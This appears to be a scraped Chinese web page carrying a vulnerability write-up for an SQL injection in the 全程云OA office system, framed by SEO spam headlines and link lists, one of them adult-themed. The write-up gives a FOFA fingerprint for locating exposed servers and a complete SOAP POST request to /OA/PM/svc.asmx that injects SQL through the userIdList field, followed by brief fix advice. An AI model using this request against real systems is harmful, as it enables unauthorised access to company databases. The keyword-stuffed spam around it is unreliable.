当前位置: 首页 > news >正文

佛山专业网站制作百度域名购买

佛山专业网站制作,百度域名购买,怎样做电商卖货,九九建筑网官网登录0x01 产品简介 全程云OA为企业提供日常办公管理、公文管理、工作请示、汇报、档案、知识体系、预算控制等26个功能,超过100多个子模块。为企业内部提供高效、畅通的信息渠道,同时也能大力推动公司信息系统发展,提高企业的办公自动化程度和综合…

0x01 产品简介

  全程云OA为企业提供日常办公管理、公文管理、工作请示、汇报、档案、知识体系、预算控制等26个功能,超过100多个子模块。为企业内部提供高效、畅通的信息渠道,同时也能大力推动公司信息系统发展,提高企业的办公自动化程度和综合管理水平,加快企业信息的流通,提高企业市场竞争能力。

0x02 漏洞概述

 由于全程云oa办公系统/OA/PM/svc.asmx页面参数过滤不当,导致存在sql注入漏洞,未授权的攻击者可利用该漏洞获取数据库中的敏感信息。

0x03 复现环境

FOFA:body="images/yipeoplehover.png"

0x04 漏洞复现 

PoC

POST /OA/PM/svc.asmx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: text/xml
Accept-Encoding: gzip
Connection: close<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUsersInfo xmlns="http://tempuri.org/"><userIdList>select @@version</userIdList></GetUsersInfo></soap:Body>
</soap:Envelope>

查询数据库版本

0x05 修复建议 

 使用预编译语句。

对进入数据库的特殊字符进行转义处理。

http://www.zhongyajixie.com/news/16886.html

相关文章:

  • 医院网站可信认证必须做吗专门做排名的软件
  • python做网站 要学多久360摄像头海澳門地区限制解除
  • 做外贸的如何上国外网站seo还有前景吗
  • 合肥网站建设开发电话郑州本地seo顾问
  • cad外包网站网推什么平台好用
  • 网站图片上传不上去怎么办产品软文范例
  • 网站建设公司的职责百度上广告怎么搞上去的
  • 可以做免费的网站吗吉林关键词排名优化软件
  • 让别人访问自己做的网站烘焙甜点培训学校
  • 内销网站要怎么做seo描述是什么意思
  • 绍兴柯桥建设局网站百度站长提交
  • gif网站banner怎么做免费培训seo网站
  • 哪个网站的域名到期直接注册表电商软文范例300字
  • 深圳做外贸网站如何做一个网站的seo
  • wordpress改网站logo网上销售方法
  • 网站的内容更新重庆seo网络营销
  • 深圳市工商注册信息查询网站提高网站排名的软件
  • 故宫上海网络营销公司深圳seo优化外包公司
  • 建网站软件有哪些网络推广公司电话
  • 《小城镇建设》》杂志社网站网站加速
  • 旅游做哪个网站好昆明seo关键字推广
  • 做ppt用什么网站好长沙网站se0推广优化公司
  • 亚洲av成人影院手机版在线看志鸿优化网下载
  • 网站建设督查工作主持词西安seo服务外包
  • 精品课网站开发论文微信搜一搜seo
  • 宜春网站建设公司google推广公司哪家好
  • 中英文网站怎么做网络广告投放平台
  • 麒贺丝网做的网站优化武汉seo建站
  • web前端和网站开发百度应用平台
  • 素材图库嘉兴网站建设方案优化